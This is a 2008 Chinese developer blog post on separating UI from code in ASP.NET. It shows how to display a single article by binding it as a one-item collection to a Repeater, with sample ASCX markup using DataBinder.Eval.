我们都知道在ASP里面,VBScript是嵌套在网页里面被解释执行的,也就是说代码和界面混杂在一起,所以用起来和维护起来非常的麻烦。在ASP.NET里面情况有了本质上的变化,界面已经和代码基本没有大的关系了,一个ASPX页面对应一个CS或VB文件,可以说基本做到了代码和界面的分离。其实微软是伟大的,它做的ASP.NET其实是一个框架,在该框架中提供了几个关键的方法,使得我们可以做到代码和界面的进一步分离,比如CommunityServer中就很好的利用了这点。在CommunityServer中已经将ASPX文件的后台CS全部分离,转而通过用户控件或服务器控件实现,而用户控件的后台代码都放在另外一个项目中,这样就形成了界面层中几乎只包括ASPX、ASCX等文件,而它们的后台CS文件都移到了其他项目中,所以这就做到了进一步的分离,你说对吧?

我上面说的分离只要研究过CS的人因该都是知道的,但是下面这个技巧可能你就不一定知道了。

如果你现在要显示一个实体的详细信息,比如一篇新闻、一篇文章、一个产品,等等。你一般会怎么做呢?我想大部分人都是调用一个类似GetObject(int objectID)的方法,然后把该Object取出来,然后你会怎么办呢?通常你会在页面上放一些Label,Literal,或者其他服务器控件之类的,每个控件都有一个你自己命名的ID,然后你会在页面的Load事件处理函数中通过FindControl函数找到这些界面上的服务器控件,然后为其一个个赋值。这样就达到了显示详细信息的目的。但是你有没有想过,这样做已经讲界面和后台CS代码绑定在一起了,如果你删除了某个服务器控件或者修改了它的ID,那你的代码如果没有Try起来或者做空值判断,那肯定会出问题了。所以,为了能够既可以显示详细信息,又可以将代码和界面的耦合减到最少,我想到了一种方法,如下:

我们可以在界面上放一个Repeater控件,在这个控件的ItemTemplate模版中将当前的Container.DataItem对象取出来,然后,你可以通过DataBinder.Eval函数取出该对象中的任何一个字段,然后在和某个客户端标记绑定,或者直接显示出来。在后台CS文件中,你唯一要做的只是把页面上的Repeater控件得到,然后把你通过GetObject函数得到的那个数据对象放到一个集合中,并把这个集合和这个Repeater控件绑定即可。通过这样的方式说白了就是把显示一个实体当作和显示一个列表一样来处理。这样做有点奇怪,所以我想很多人确实不会那样去想或做。关于前台如何显示数据,下面是一段示例HTML代码:

<%@ Register TagPrefix="CS" Namespace="NetFocus.Web.Controls" Assembly="NetFocus.Web.Controls" %>
<%@ Register TagPrefix="CS" Namespace="NetFocus.WebApplications.Article.Controls" Assembly="NetFocus.WebApplications.Article" %>
<%@ Import Namespace="NetFocus.WebApplications.Article.Components" %>
<%@ Import Namespace="NetFocus.Web.Components" %>
<%@ Control Language="C#" %>

<div class="designpattern-detail1">
    <asp:Repeater EnableViewState="false" runat="server" id="list">     
     <ItemTemplate>
         <div class="title">
             <%# DataBinder.Eval(Container.DataItem, "Subject") %>
         </div>
            <div class="subtitle">
                <CS:ResourceLiteral runat="server" ResourceName="PostDate" />
                <%# DataBinder.Eval(Container.DataItem, "PostDate") %>&nbsp;&nbsp;
                <CS:ResourceLiteral runat="server" ResourceName="Source" />
                <%# DataBinder.Eval(Container.DataItem, "Source") %>&nbsp;&nbsp;
                <CS:ResourceLiteral runat="server" ResourceName="Replies" />
                <%# DataBinder.Eval(Container.DataItem, "Replies") %>
            </div>
            <div class="body">
                <%# DataBinder.Eval(Container.DataItem, "Body") %>
            </div>
     </ItemTemplate>
    </asp:Repeater>
</div>

以上这段代码是我的NetFocus个人站点中显示文章详细信息时前台用户控件中所使用的代码。各位看这段代码的时候可以和你正在浏览的网页的布局结合起来看,就很容易懂了。

好了,不知道这样我有没有说清楚,时间正好是半个小时,呵呵。

posted @ 2008-09-28 10:29 nacarat 阅读(81) 评论(0) 编辑